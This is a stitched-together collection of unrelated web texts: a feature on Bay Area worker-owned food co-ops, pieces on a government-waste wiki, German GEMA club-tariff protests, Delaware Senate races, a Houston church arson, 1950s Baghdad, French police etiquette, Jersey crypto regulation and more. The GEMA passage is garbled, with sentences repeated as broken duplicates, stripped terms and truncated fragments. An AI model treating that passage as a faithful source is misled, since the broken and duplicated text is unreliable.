This is the reason why we pray the Aleinu. Aleinu means “On us,” and is our affirmation that it is our job to change the world. Tonight, we will pray the Aleinu in an unconventional way. One at a time, someone will call out a commitment: a new commitment that they want to take on to fix the world. If you also want to take this on, respond by saying “Aleinu.”click to enlarge Photo by Kala Minko
Denis Gomez, Megan Ledet, Delia Desmond, Mahasin Munir, and Luis Andrade live the co-op lifestyle at Arizmendi on Lakeshore.
Walk up to Cheese Board (1512 Shattuck Ave.) in Berkeley, and more than likely you'll wait in line for a slice of pizza with a sourdough crust and seasonal vegetables. A jazz band will be playing. Folks from the neighborhood will run into one another and chat like old friends. And if you're a regular, you'll probably also know the faces behind the counter. Turnover rates at restaurants are notoriously high, but at co-ops such as Cheese Board, employees tend to stay — and some say it could be the future for sustainable food businesses in the East Bay.
Considered the mothership of many co-ops in the Bay Area, the Cheese Board Collective opened in 1967 as a small cheese shop by Elizabeth and Sahag Avedisian, who had both spent time in a kibbutz in Israel and were inspired by the country's tradition of cooperative living. In 1971, the Avedisians sold the shop to their six employees at cost and, all together, turned it into a worker-owned cooperative. Their model has been wildly successful and spawned other co-ops, including six Arizmendi pizzerias and the Juice Bar Collective (2114 Vine St., Berkeley). On an average day, Cheese Board's pizzeria sells 600 pies, and on the weekends, upwards of 1,000.
Cooperatives are back on people's minds as the local restaurant industry feels the squeeze of rising minimum wage, commercial rent increases, and worker turnover that's higher than ever before.
"The selfish capitalism model is not working," said Delia Desmond, who has been a worker-owner at Arizmendi on Lakeshore for the past 17 years. "Capitalism could look like this. We could share."
A worker-owned cooperative typically has a formal structure of equality, where there's no division between bosses and workers — everyone is a boss. Worker-owners, sometimes called "members," typically earn more than minimum wage, receive better-than-average benefits, and split profits at the end of the year. Business decisions are made collectively.
Fourteen years ago, Mahasin Munir applied for a job at Arizmendi on Lakeshore, not even realizing it was a co-op. Still, she said she could "just feel the energy was instantly different." Clearly, others felt it, too. There were three positions open — and 200 applicants.
At the Lakeshore Arizmendi, workers all make $25 an hour, plus healthcare, dental, and paid time off. At the end of the year, worker-owners split the profits based on how many hours they worked during the year.
Not all food co-ops have stuck around, but considering that there are only a few locally, the success rate seems pretty high. The Swallow Collective, a restaurant at the former Berkeley Art Museum andPacific Film Archive, lasted two decades and included member Ruth Reichl, the nationally renowned chef and food writer. It, too, was funded and launched by former Cheese Board folks. Berkeley's Nabolom Bakery is a child of the Cheese Board family and endured 40 years as a worker-owned business, though it now operates as a traditional bakery.
But a co-op may not be for everyone.
"It's not easy being the boss, the customer service rep, the janitor, the repair person, the re-supplier, and more all in one, but that's what it means to work at a collective," said Andrea Willems, a worker-owner of Juice Bar Collective, which opened in 1975.
It requires being a leader, and many are more accustomed to a top-down model.
"Some people are used to giving up their power," Munir said. "There's more responsibility and you've got to work harder."
Despite its challenges, Desmond says she sees a resurgence of interest in co-ops largely because worker-owner turnover is extremely low. The majority of the Lakeshore Arizmendi's current 30 worker-owners have been there for more than 13 years. Since Desmond started in 2000, the number of owners has doubled and sales have quadrupled, she said.
Desmond ultimately stuck around because of the co-op model. The single mom works part-time as a cashier, bookkeeper, and human resources manager.
"It's made a very big difference in my life," she said. "It's a rare kind of stability in this economy. I'm able to survive in the Bay Area working 22 hours a week."
But even with better working conditions, worker-owners are not immune to rising residential rents and the threat of displacement.
"Many members are moving out further and are not a part of the community in Berkeley," said Steve Sutcher, who has been a part of the Cheese Board Collective for 38 years. That's worrying since a quarter of current members are more than 60 years old and nearing retirement. "Younger folks, even working with these much better wages, can't afford a home here in Berkeley."
Meanwhile, seasoned co-ops continue to support newer ones. For example, Cheese Board donated to Mandela Foods' efforts to expand its cooperative grocery store (1430 7th St.) in West Oakland. Arizmendi's Munir consults with other co-ops and is working with Mandela as well.
James Berk, who grew up in West Oakland, started working at Mandela when he was in high school. "The goal has always been to hire people from the community," he said. "When everything goes right, it's more empowering than a traditional business. It's more like a family, because we built this together."
In their monthly meetings, they discuss ways to make the business fair and healthy for everyone. Mandela hopes to expand into a new, 3,000-square-foot space in 2018, where it would also possibly include a clinic and bank.
Despite Cheese Board's prominence over the past 50 years, many people still don't know what a co-op is — and that remains a key reason why we don't see more of them. Munir, though, says that once you're in the co-op world, you're hooked. She even plans to start a housing co-op to serve low-income folks in the Bay Area.
"I definitely think co-ops are the wave of the future," Munir said. "Everyone needs to step up and be leaders."Has government waste become so bad that we need an encyclopedia to keep track? One watchdog group seems to think so and has started a publicly edited, crowdsourced website that compiles cases of fiscal abuse, modeled after the popular site Wikipedia.
Spendopedia, launched this month, is an attempt to organize examples of fiscal waste into a central, easily searchable database.
“Too often, information about wasteful spending pops in a news story or blog post, and then disappears into the black hole of the Internet,” said Joe Mansour, who dreamed up the project. “Our goal for Spendopedia was to create a Wikipedia-style resource for citizens to learn more about how their hard-earned tax dollars are being spent.”
The site documents programs that have been labeled as wasteful by news organizations, members of Congress or federal investigators. Each example of fiscal abuse gets its own article that includes a total cost to taxpayers.
Spendopedia says it has tracked more than $170 billion in questionable spending, but the site also tries to put that in terms easy to understand. The amount of waste is worth almost 40 billion Big Macs, 5 million new cars, 124 billion cups of coffee, or enough money to pay the salaries of 3 million soldiers, the site says.
The website catalogs more than 100 examples of waste, including a lavish conference of the Government Services Administration and excessive severance packages at the Energy Department.
The general public can sign up for and start posting to the site, “be they a concerned citizen, a journalist, a blogger or a Capitol Hill staffer,” Mr. Mansour said.
Editors will maintain strict control to prevent articles from descending into partisan bickering. Examples of waste are taken only from news reports and government sources, and users will face brief moratoriums before they can begin creating articles.
The website is a project of Public Notice Research and Education Fund, a nonprofit focused on the economy and educating how government actions can affect finances. Mr. Mansour is the digital director at the organization.
“With our national debt at nearly $17 trillion and our long-term fiscal outlook hanging in the balance, it’s more important than ever for Americans to be informed and engaged about their government’s spending,” he said.
Interest in preventing government waste has been renewed in Washington as the nation faces trillions of dollars worth of debt. The Washington Times has launched a weekly distinction, the Golden Hammer, which marks the most egregious examples of wasted taxpayer dollars.
That has included an excessive $32 billion for Medicaid innovation programs, $1 billion wasted in fees and fines paid to the Afghan government and $100 million for a housing assistance program that government officials couldn’t prove was working.
The Spendopedia site is modeled after Wikipedia, a free, open-sourced online encyclopedia that lets users post and edit entries. Thousands of similar publicly edited sites, known as “wikis,” cover a range of topics, including the biology-focused Wikispecies, Memory Alpha, a site about “Star Trek,” and the gardening site Gardenology.
The government waste website can be found at spendopedia.org.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Ownership: Vanduul
Planets: 2
Planetary Orbital Periods: n/a
Import: Medical
Export: None
Crime Status: None
Black Market: Medical
UEE Strategic Value: Purple
To the Vanduul, this system was called Korath
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on the actual audience turnout at events. GEMA also argues that 60% of event organizers will pay the same or less under the new tariff system. In particular, smaller clubs will be relieved of paying fees. A table on the GEMA website indicates that most of the licensing fees will go down in 2013, but nevertheless a club in Frankfurt with a surface area of 300 m 2 (3230 sq. ft.) will currently pay a yearly lump sum between €8,000 and €10,000 for GEMA fees. This would constitute a 500% increase in tariffs. According to a fee-calculator on the website of the Bundesverband Deutscher Discotheken und Tanzbetriebe (English: Association of German Discos and Dance Venues ), [64] the tariffs will be far higher. However, the estimates generated by this calculator indicate the theoretical maximum flat-rate charge per event. [62] Also, this calculator does not take the Angemessenheitsregel (see above) into account, which gives organizers the ability to have their licensing payments based on the actual number of spectators at their events. The numbers that have been disseminated in the media have greatly distorted public perceptions of the consequences of the tariff reforms. Additionally, there is a growing assumption in the media that discos will be especially reluctant to calculate their costs based on spectator-turnout numbers, since these numbers were not previously monitored and likewise not fully counted. [65]
(3230 sq. ft.) will currently pay a yearly lump sum between €8,000 and €10,000 for GEMA fees. This would constitute a 500% increase in tariffs. According to a fee-calculator on the website of the (English: ), the tariffs will be far higher. However, the estimates generated by this calculator indicate the theoretical maximum flat-rate charge per event. Also, this calculator does not take the (see above) into account, which gives organizers the ability to have their licensing payments based on the actual number of spectators at their events. The numbers that have been disseminated in the media have greatly distorted public perceptions of the consequences of the tariff reforms. Additionally, there is a growing assumption in the media that discos will be especially reluctant to calculate their costs based on spectator-turnout numbers, since these numbers were not previously monitored and likewise not fully counted. By way of an sample fee-estimate, the Bundesvereinigung der Musikveranstalter (English: National Union of Music Event Organizers ) calculated that a club with two dance-floors of a combined total surface area of 720 m 2 (7750 sq. ft.) charging €8 at the door will see a rise in GEMA fees from €21,553 yearly to €147,916. Under the new system, event licensing fees increase by 50% if the music runs longer than five hours. Many other model calculations made the rounds as well, according to which only one-time events such as a marksmanship festivals and very small clubs would actually profit from the new tariff scheme. [66]
(English: ) calculated that a club with two dance-floors of a combined total surface area of 720 m (7750 sq. ft.) charging €8 at the door will see a rise in GEMA fees from €21,553 yearly to €147,916. Under the new system, event licensing fees increase by 50% if the music runs longer than five hours. Many other model calculations made the rounds as well, according to which only one-time events such as a marksmanship festivals and very small clubs would actually profit from the new tariff scheme. 20 dance club owners came together for the initiative, "Clubs am Main," in order to oppose the new tariff regulations. According to Matthias Morgenstern, the leader of this association and the owner of Tanzhaus West, this new fee structure would lead to Clubsterben (English: club-death ). [67] [68] The yearly payments of Frankfurt club Cocoon Club de] [62]
, this new fee structure would lead to (English: ). The yearly payments of Frankfurt club Cocoon Club In Berlin, the techno club Berghain indicated that, starting in 2013, it would have to pay %1400 more in GEMA fees than it did before and therefore was considering closing at the end of 2012. [69] Berghain later announced in mid-August that the club would not shut its doors in the new year, but instead would cancel their planned expansion project, the cultural event-space Kubus. [70]
Berghain later announced in mid-August that the club would not shut its doors in the new year, but instead would cancel their planned expansion project, the cultural event-space. On June 30, 2012, the Bundesverband Deutscher Discotheken und Tanzbetriebe (English: Association of German Discos and Dance Venues ) organized a "moment of silence" protest, in which the music of 500 clubs and discos in Germany fell silent between 23:55 and midnight. The manager of the association, Stephan Büttner, intended to use this collective gesture of protest to inform patrons and spectators about the impact of the new tariff system. [71] [72]
(English: ) organized a "moment of silence" protest, in which the music of 500 clubs and discos in Germany fell silent between 23:55 and midnight. The manager of the association, Stephan Büttner, intended to use this collective gesture of protest to inform patrons and spectators about the impact of the new tariff system. According to Ralf Scheffler, owner of the Frankfurt cultural center Batschkapp, GEMA presumes maximum occupancy at events in clubs and discos. But this does not reflect actual/typical turnout. For example, Scheffler's venue has a capacity of 2,000 people, but nonetheless turnout usually hovers at around 500 visitors. But with the new tariff reforms, he will have to pay for 2000 guests, even if they do not show up in those numbers. Due to this, Scheffler plans to quit organizing disco-format events, since he will have to pay €60,000 instead of €3,000 starting in 2013.
In a letter to GEMA, the head of the Senatskanzlei Berlin (English: Senate Chancellery Berlin ), state secretary Björn Böhning, called for a reconsideration of their plans. According to Böhning, Berlin has a creative and innovative music scene, for which clubs and concerts are important. These require affordable licensing fee rates as a basis for their business operations. [73]
(English: ), state secretary Björn Böhning, called for a reconsideration of their plans. According to Böhning, Berlin has a creative and innovative music scene, for which clubs and concerts are important. These require affordable licensing fee rates as a basis for their business operations. An online petition protesting the GEMA tariff reforms, initiated by event promoter Matthias Rauh (of giga event), was launched shortly after the announcement of the new tariffs in April 2012, closed on October 3 with 305,122 signatures (of which 284,569 were signed with a German address), and presented to Justice Minister Sabine Leutheusser-Schnarrenberger on December 13, 2012.[74][75][76] A week later, on December 20, 2012, both GEMA and DEHOGA de] [77][78]
German Music Authors' Prize [ edit ]
Since 2009, GEMA has been granting the annual German Music Authors' Prize (German: Deutscher Musikautorenpreis). With the motto, "Authors Honor Authors" (German: Autoren ehren Autoren), the award ceremony takes place in Berlin with about 300 guests in attendance from the worlds of music, culture, business, media, and politics. This award recognizes composers and lyricists for the outstanding quality of their work. The award is conferred in ten categories, and the honorees are selected by an independent jury of experts: composers, lyricists, and producers from a variety of musical genres. The award for the "up-and-coming" category comes with a monetary prize amounting to €10,000. All other categories bestow non-monetary awards.
See also [ edit ]A result of a Skype discussion with and We all hypothesize that Therizinosaurids were specialized animals, and to some degree, insectivorous, with those long claws used for digging up food.Beipiaosaurus using its long claws and tongue to raid a termite nest (Hypothetical termite nest, as termite nests specifically are disputed among paleontologists, however, its possible another species developed mounds that aren't alive today, but that's pure speculation). Proposed tree sap eating, for larger species. They'd use their long necks to also graze on leaves as well as using a long tongue and claws to carve into trees, eating sap.Obviously, these are very strange dinosaurs, more so than any other. They have a unique body alignment and claws to match. We think these animals weren't constantly moving, but sitting most of the time, perhaps at the base of trees or insect mounds. We think they might have had a slower metabolism than other dinosaurs.Hell, my own little hypothesis is that, to avoid larger predators like Yutyrannus, Beipiaosaurus might have climbed trees in a similar fashion to Black Bears.Finally got around to finishing my piece.Reference picture - 4.bp.blogspot.com/-i_SRV4Y94Js…Saves don’t come more beautiful than the one Patrick O’Brien performed Sunday in Newfoundland.
The Gander Flyers player uses just two words to describe himself in his Twitter bio: “goaltender” and “paramedic.”
It was O’Brien’s latter role that helped save a fan’s life during the Flyers’ home game against the Corner Brook Royals.
When a middle-aged fan in the stands collapsed due to cardiac arrest, O’Brien ran from the dressing room to the bleachers in his equipment to perform CPR.
With help from Flyers board member Tom Whalen and town mayor Claude Elliott (both former paramedics), O’Brien resuscitated the man, who was whisked to Gander’s James Paton Memorial Hospital. The fan is reportedly in stable condition.
Patty on Twitter
“It’s less stressful to save the pucks,” tweeted the 26-year-old O’Brien, who works as a paramedic with the Central Health Authority. “Had lots of help today from incredible people on scene.”
When Gander coach Chris Peach saw the scene unfolding before puck drop, his first instinct was to fetch O’Brien from the dressing room.
The goalie was wearing skates, hockey pants and one leg pad.
“I just hopped in and started chest compressions,” O’Brien told The Gander Beacon. “Anyone would have done what I did. I guess it’s just where it was at the rink and I had some of my gear on. But it’s what I do. It happens with some level of regularity [while on duty].”
The Flyers’ other goalie, Roger Kennedy, started the game but was replaced by O’Brien late in the second period.
“I was one of a many who helped today,” O’Brien tweeted. “I appreciate your support but feel there are others who deserve the spotlight.” Patty on Twitter
(via @Steve_Dangle)We’re down to just two week s until we hit the road for Coachella. This week we decided to go with Foster the People’s new LP, Supermodel. It might not have as many crowd pleasers as Torches, but it still is an excellent follow up to their hugely successful debut album. Crediting a trip to Morocco for their new Afrobeat noise, Foster The People have transformed their sound immensely, yet still hold on to what made them great to begin with. Here are my five favorite from Supermodel.
Best Friend – This upbeat tune comes full with a badass bassline and horn section and has as catchy a chorus as anything Foster the People have ever done. Fire Escape – Mark Foster unexpectedly slows things down on the final song of the album with this acoustic ballad, singing of wanting to help the down and out living on the streets, but ultimately being unable to. Are You What You Want To Be? – According to Foster, the opening track to the album was inspired by the sound of The Clash’s legendary Sandinista! album. Using sounds and rhythms that are somewhat unfamiliar to Western ears, this song is definitely one of the strongest off the album. A Beginners Guide To Destroying The Moon– One of the heaviest songs off the album, they almost sound like The Smashing Pumpkins at times here. Foster pleads to the listener to have empathy for their fellow human beings, and exclaims “Stop your self importance and lift the weight off someone else”. Coming Of Age – The albums first single, sounds similar to something off Torches. Mark Foster reminisces on the chaos of post Torches life and how he is finally coming into his own.
Where Torches was more a collection of radio hits, Supermodel is a more complete album. Dealing with issues such as the state of our culture and searching for truth in a sometimes dark world, Supermodel shows the evolution of an artist and band.
-A
AdvertisementsWe have gotten several comments recently from newcomers to Delaware asking us to explain who the cast of characters that is Delaware politics. So here is a first post in a series of posts giving every one of our readers an overview of the upcoming elections in the Delaware Senate. And then we will review the elections in the House. And then we will profile each and every Senator and Representative in our General Assembly. Each profile will include demographic information about each Senator or Representative, and information about their respective districts.
First, some basics about the Senate. The upper house has 21 districts. Senate Districts are separately drawn from Representative Districts. In some states, a legislative district is drawn up and that one district has one senator and two representatives. But not Delaware. Next week, I am going to write up a post on what our General Assembly would look like if Delaware followed a one legislative district system, but I digress for now.
Senators are generally elected to four year terms, as opposed to Representatives, which are elected for only two year terms. Notice the use of the word “generally.” Typically, one class of 10 Senators is elected in 2002, 2006, and 2010, and the other class is elected in 2000, 2004, and 2008. The problem is that in the election right after the census is performed (1992, 2002, 2012, 2022, etc.), every single Senator is on the ballot, as required by Delaware law. Thus, the class of Senators that is elected in 2010, have to stand for election again in 2012. So, in such a case, these Senators are only serving a two year term.
Currently, there are 13 Democrats and 8 Republicans in the Senate. The President of the Senate is the Lt. Governor, currently (but not for long) Matt Denn (D). The President Pro Tempore of the Senate is Senator Patricia Blevins (D-7th SD). Now, the President Pro Tem gig is not a merely ceremonial one like it is in the US Senate. Here, the President Pro Tem has some real “Speaker” like power. The rest of the Senate leadership is as follows:
To aid us in this series will be the graphics and tools of Stephen Wolf and his team at Daily Kos Elections. They have put together a Google Spreadsheet that shows us a map of all the Senate districts in Delaware, and colors them according to how they voted in the 2012 election and which party represents these districts today.
Districts colored solid red voted for Romney, and sent a Republican to the [Dover]; Solid blue seats voted for Obama and elected a Democrat. Light red districts voted for Obama while voting for a Republican legislator, while light blue seats [voted for Romney while electing a Democratic Senator]. Simply click on a district and it will tell you who represents it, which party they belong to, when they first took office, their last election result, and the 2012 presidential result. For a larger map click the link [above].
This is is a great tool for a political junkie. What jumped out at me is that there are basically only 6 competitive Senate districts, and only one of them is ripe for a Republican takeover. Here is a chart of what I mean:
Stephen Wolf:
Democrats have controlled the Delaware Senate since 1974 and with 14 of the chamber’s 21 seats carried by Obama, that majority is not in danger. The median district voted for Obama 57-41, two points to the right of the state. Republicans hold two Obama seats, including the median district. By contrast, the only red Senate seat Democrats hold is Romney’s best in the state, a southwestern Sussex county seat that backed him 60-39.
That Romney seat is the 21st Senate District, held by Senator Bob Venables. The second Venables retires, the seat will be won by a Republican. The rest of the districts I have highlighted in yellow above are those that could flip due to district’s performance in 2012.
The seat most likely to flip to the Democrats, which Wolf describes as the state’s median district (and it is also the district where I live) is the 5th Senate District, represented by Senator Cathy Cloutier (R). But Cathy has been targeted twice now, in 2008 and 2012, and she has survived, last time by a very respectable 56.8%. Given Obama’s 58.4% of the vote in 2012, there is a huge ticket splitting contingent there. 13.2% of the district’s voters voted for Obama and Cloutier. Cloutier is not up for election this year, and she will continue her luck of getting placed in high turnout Presidential election years.
The next closest seat is that of Senate Minority Whip Greg Lavelle (R-4th SD). Lavelle barely defeated former Senator Mike Katz last time, with 51.7% of the vote. The district itself barely for Obama with 50.7%. The district was the closest on the Presidential level, followed by the 6th in Sussex County and the 16th in Kent County. Lavelle is up for election this year, but so far there is no challenger. And given Lavelle’s placement as a freshman Minority Whip and a possible GOP gubernatorial candidate in 2016, Lavelle might not get one. And that would be foolish on the Democrats part.
How are both parties doing in recruiting candidates so far in the Senate races?
In terms of the competitive seats we have up this year, the GOP has Bryant Richardson running again against Senator Venables in the 21st. Venables won with 56% of the vote last time, and I think it will be closer this time. I would rate the 21st a toss up. I already addressed the 4th. So far the Dems don’t have a candidate to go up against Lavelle. If they get a credible candidate, then I would rate this race as a Lean Republican if only because of the past numbers.
In the 6th, the Democrats have a great candidate in Claire Synder-Hall. The incumbent, Senator Ernie Lopez (R), is a freshman Senator first elected in 2012 in the newly created 6th District. Obama won 49.1% of the vote in 2012, while Lopez won 56.8%. You know who I want to meet? The 5.9% of the voters who voted for Lopez and Obama. That 5.9% is key to whether this race is competitive. Were these 5.9 percenters turned off by some last minute Staton and third party advertising in 2012? If they were (and anecdotely, I have heard from several people who were), then they could come home in 2014, making this race very close.
So at best for the GOP, they might gain one seat if they win the 21st and hold onto the 4th and 6th, in which case the chamber would be 12-9. Or nothing at all could change, and we will again be 13-8. Or the Dems could pick up the 6th, and return the chamber to 14-7. But in no scenario can the GOP capture the majority.Drakengard 3 Coming Out On October 31 In A Beautiful Box Set
By Spencer. June 26, 2013. 10:22pm
Square Enix announced October 31 as the release date for Drakengard 3. You can get a copy of the game for 7,980 yen ($82) or pick up the Drakengard 10th Anniversary box set for 19,800 yen ($202) from Square Enix’s e-Store.
The 10th anniversary box set includes:
Drakengard World Inside book with a poster from series artist Kimihiko Fujisaka, commentary from Yoko Taro and a story written by Sawako Natori that connects all of the games (Drakengard, Drakengard 2, Nier, and Drakengard 3) together.
Drakengard Chips Music has 24 tracks remixed from Drakengard, Drakengard 2, Nier Gestalt, and Nier Replicant with an 8-bit feel.
Drakengard History Films is a Blu-ray disc with movies from earlier games in the series, trailers, and commercials.
Drakengard Novel Prelude (details will be announced later)
Drakengard Visual Book (details will be announced later)
Drakengard 3 DLC code (details will be announced later)Arson blamed for fire destroying S.E. Houston church Fire reduces church to pile of ash, wood, brick
Arson blamed for blaze in S.E. Houston
Pauline Kwang wanted to scream Friday after she saw what was left of the southeast Houston church where she has worshipped for 20 years.
An arsonist late Thursday torched the Community of the Servant-Savior Presbyterian Church. On Friday, all that remained was charred wood and brick that had been pushed into piles and surrounded by a long stream of safety tape after the last sections of the ruined building were leveled.
“It's an empty feeling,” Kwang said. “It's like you're losing someone you really love.”
The fire was intentionally set, said Patrick Trahan, a spokesman for the Houston Fire Department, but authorities have not determined the motive or found a suspect.
More than 100 firefighters battled the blaze, which broke out about 11 p.m. Thursday at the church at 11303 Hughes. The arsonist apparently set off the fire in a breezeway near the middle of the church.
“It started there and spread very quickly in both directions,” Trahan said.
The intense fire was brought under control in about an hour. A section of a wall fell on an electrical worker who was cutting off power to the building, injuring his leg, Trahan said.
Church elder Jerry Beetz was among a handful of members who came by on Friday to console each other, shed a few tears and plan the next step for the congregation.
“This was our house. This is where we came together,” Beetz said.
Beetz learned about the fire early Friday after noticing that he had missed a late-night call on his cell phone from another church member.
“He was saying, ‘The building is fully involved in flames. It's going to the ground,' ” Beetz said. “I thought, ‘Good Lord. Did I hear him right?' ”
The heavy percentage of wood in the structure, which is believed to be about 40 years old, caused the fire to burn extremely hot, HFD officials said.
“They had to water down the fire trucks while they were putting water on the fire,” Trahan said.
Page Rander joined the church about 13 years ago when she moved to Houston. Because her relatives were back on the East Coast, the congregation provided her with a much-needed sense of belonging.
“I knew that I could spend Thanksgiving with family here at this church,” Rander said. “I never felt uncomfortable or unwelcome.”
Church members pride themselves on their inclusiveness. Their Web site said they welcome people of any nationality, race, sexual orientation or religious affiliation.
“No one was going to be judged for anything they've done wrong in their past or how they live their lives or what color their skin is,” Rander said.
Although they are occasionally sent critical mail and, more commonly, conservative tracts, Beetz said he can't recall any major problems because of the church's progressive position on controversial issues.
“They don't bother us. They don't threaten us — other than sending us literature by the bale,” Beetz said.
Services on Sunday will be held on the grounds. The building was insured and members expressed confidence that it will rise again.
“The old church is gone,” Kwang said, “but the new one is coming.”
[email protected] human cost of war in Iraq has been devastating. But Iraq has suffered economically too. As its economy has crumbled, so too have its once beautiful cities.
In an annual survey of the world’s most liveable major cities conducted last year, Baghdad ranked dead last at number 223 on the list. And that was before the recent chaos with ISIS. But Baghdad was beautiful once. The Iraqi capital was peaceful, elegant and prosperous. Think of Baghdad, or any Iraqi city, and you likely conjure images of bombed-out buildings, rubble and dusty streets lined with beat-up vehicles. But Baghdad was once the flourishing capital of a fledgling democracy. There’s an excellent video doing the rounds this week which shows life in Baghdad in 1956. It’s quite the eye-opener. Girls play volleyball, men play board games in open air cafes while sipping strong Arabic coffee, the police force looks purposeful, the traffic is orderly. (Please excuse the blurry stills but they’re the best we could get). Was Baghdad really once like this or has the internet unearthed some strange old propaganda film? “It’s not propaganda,” Ali Al-Hilli, Melbourne-based secretary of the Australian Iraqi forum, tells news.com.au. “Baghdad was a modern city by 1960s standards and by Middle East standards. It was one of the best cities in the Middle East. The city was very flourishing, very clean, and had all the western standard amenities.” Mr Al-Hilli has lived in Australia for 24 years but was born in Iraq in the 1950s. It was a very different society then to the one the world sees now. “Society was very simple,” he says. “I never saw women wearing scarfs or veils in the 1950s. Even in the late 1980s the Islamic trend was very minimal. It only started in the early ‘90s, and now it’s just a different society. “In 1950s Iraq, you could walk around the streets at night. You had bars, women didn’t wear veils and it was a very open society. Women could go and learn at universities and be part of the workforce. My mother was a lawyer and we even had women who were ministers in the government.” According to Mr Al-Hilli, Iraq began to turn for the worse when Iraq’s constitutional monarchy was overthrown in the 1958 coup. “Under the monarchy the system had structure to it,” Mr Al-Hilli explains. “There was an acceptable level of democracy, there was a parliament. Yes, it was a constitutional monarchy but people did have that freedom of voicing their opinions. “The whole kingdom was going on the right path regarding development and education and commerce. Appointments to administrative positions were based on merits and qualifications. The economy was small and the oil industry in its infancy but things were heading in the right direction. “But during the 1950s, the Arab world was going through a trend of nationalist and anti-colonial movements. The first change occurred in Egypt in a coup in 1952, then in 1958 there was a coup in Iraq conducted by army officers where most of royal family was massacred. It was a big change to have army officers ruling the country.” From that point onwards in its modern history, Iraq has been riddled with internal and external conflicts to numerous to go into at length. Suffice to say that Iraq’s economy stagnated and with it, the standard of living of its people and the look of its once proud cities. The Iran-Iraq war, which raged through the 1980s, was particularly devastating. “It was the most destructive war ever,” Mr Al-Hilli says. “Thousands of Iraqis lost their lives and it affected the whole country economically because spending on infrastructure stopped and everything was diverted to the military. All the oil income was diverted to war.” That statement in many ways sums up the plight of one of the oldest nations on earth. Evil has come in many different faces in Iraq, from Saddam to ISIS. But one truth remains, and we’ll leave that last word to Ali Al-Hilli. “Iraq should be at the forefront today. It could be an economic power if it had stability. “Iraq has educated people and water. It’s just that politics and wars have taken their toll and led us in the wrong direction, and this is where we are today, sadly.French police will no longer be allowed to call suspects the familiar "tu" (meaning "you"), and will have to address anyone they speak to using the French equivalent of "sir" or "madam".
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French police will be obliged to address all members of the public using the equivalent of "sir" or "madam", according to a new code of conduct to go into force next month.
The document explicitly forbids officers from using the familiar “tu” [“you”, in the singular] form of address to members of the public - in any circumstances.
Instead, anyone they speak to - including youths who would have no compunction in calling them “tu” to their faces - must now be addressed using the formal “vous” [“you” in the plural] at all times.
The new code of conduct states: “Police officers are at the service of the general public. Their relationship with the public must be marked by impeccable courtesy. This excludes the informal ‘tu’.
“Officers are expected to behave in all circumstances in an exemplary fashion and with complete respect for the dignity of individuals. This will inspire greater respect in return.”
‘Tu’ can be insultingly over-familiar
In France, “tu” is normally used among family, friends and close acquaintances, as well as when speaking to young children.
In schools, teachers call their pupils “tu” until they are in their mid-teens, while children are always expected to reply using “vous”.
The inappropriate use of “tu” is considered over-familiar - and sometimes deliberately belittling.
Applying the new code of conduct will be a painful change for certain police units for whom the use of the informal address, especially when dealing with youths in France’s troubled suburbs, is second nature.
‘An implied threat’
One such un-named youth told France Info radio on Friday: “For many police officers, using the familiar ‘tu’ is in their DNA.
“But it carries an implied threat; it’s the kind of thing that can quite naturally ignite a violent reaction and it’s always the youths who come off badly.
“Quite rightly a lot of young people refuse to be spoken to this way.”
Members of the Anti-Criminal Brigade (BAC), a plain-clothes police group that is particularly active in France’s restive suburbs, told France Info that they were worried about the implication of the directive.
One officer, named only as Matthieu, said that using the familiar form of address was “an indispensable tool for asserting authority”.
“This measure is not going to make our lives any easier,” he said. “It certainly won’t alleviate any of the stress of the job. It may even aggravate it.”
His colleague Daniel added that officers were specifically trained as to when it was acceptable to call someone “tu” or “vous”.
“It’s all down to the context of the situation,” he said.Jersey is an island off of the coast of Normandy with a self-governing government but still autonomously attached to the United Kingdom. Much like the Isle of Man, Jersey has been seen as one of the safe havens for digital currencies. It has led a lot of people working on financial and technological innovation to settle their business there.
The island is interested in securing its future in the emerging world of digital currency and how it could benefit their community. By taking this in mind, the Island government is pushing forward with plans to regulate and establish legislation for digital currency businesses on the island:
“The Government has arrived at a policy position in respect of the regulation of virtual currency. Ultimately, the aim of this policy is to further enhance Jersey’s proposition as a world leading Fintech jurisdiction”
Jersey’s assistant chief minister, Senator Philip Ozouf, today released an introductory statement outlining how digital currency regulation will focus on exchanges, ATMs, and especially those services that connect digital currency to Fiat currency.
Besides creating regulation to protect consumers, the government wants to put in action measures to protect against the misuse of digital currencies:
“In considering regulatory options, the importance of balancing the protection of the Island from money laundering and terrorist financing risk against stifling innovation and growth in this emerging sector were at the forefront of consideration.”
The government believes placing the exchange digital and fiat currencies businesses under statutes governing the activities of money services businesses is the most sensible option to take at this moment:
“The purpose of the policy document is to outline Jersey’s commitment to creating an environment that encourages confidence and innovation in the digital sector whilst protecting the Island from the most prominent money laundering and terrorist financing risks that are presented by virtual currencies in their current form.”
The government also mentioned its position regarding the development of future standards for applications of the blockchain and digital currencies regarding new payment systems, stating:
“The Government acknowledges the huge potential of distributed ledger technology to change the future of finance.”
This document comes months after Jersey’s government started out a public comment period regarding its plans. The comment period was held between July and August. Now, after this public survey Jersey’s assistant chief minister, Senator Philip Ozouf, hopes to bring the draft legislation to the States Assembly, in early 2016.
Source & ImageMan Paralyzed After Ski Accident, Hits the Slopes Just One Year Later Jim Harris [ + - ] Video
ALTA, Utah (ABC 4 News) - Triumph over tragedy. The story of professional ski photographer, Jim Harris is nothing short of amazing. Exactly one year after a serious ski accident, Good4Utah is there to see Jim accomplish what some thought was impossible.
We’re at Alta Ski Area, where for Jim Harris, getting down the bunny slope will be both a challenge and a major goal attained.
"It may just be straight line to crater. Pretty good chance that's also how it's going to go," Jim laughed.
To understand why, we have to go back exactly one year. On November 24, 2014, Harris got into an accident while kite skiing in Chile. The accident left him paralyzed from the waist down. He was flown to Cincinnati, Ohio, where he went through hours of grueling surgery on his vertebrae. Jim did not know what the future would hold. But he knew he was going to fight. He immediately set five goals for recovery.
"And so my first goal was getting from Cincinnati to Craig Hospital," he said.
Craig Hospital in Denver specializes in exercise based rehab. It's known as one of the best in the nation.
"So in my case they put me in a harness and put me on a treadmill and people would hold my legs and move my legs for me on this treadmill for an hour a day every day for months," Jim said.
It was painstaking work, but it got Jim to his next milestone.
"My second goal after that was to learn to be able to stand up from a wheelchair and balance without having to hold on to things," he said.
He reached that milestone just a few months into recovery. Not long after, his third goal of walking without a walker was met.
"And my fourth goal was living independently," he explained.
This summer, Jim left Craig Hospital and went to the High Fives Foundation in California where he continued physical therapy all on his own.
"So that was kind of my first transition back to having to do all my own grocery shopping and laundry and all of the kind of like really mundane adult stuff and driving myself around," Harris said.
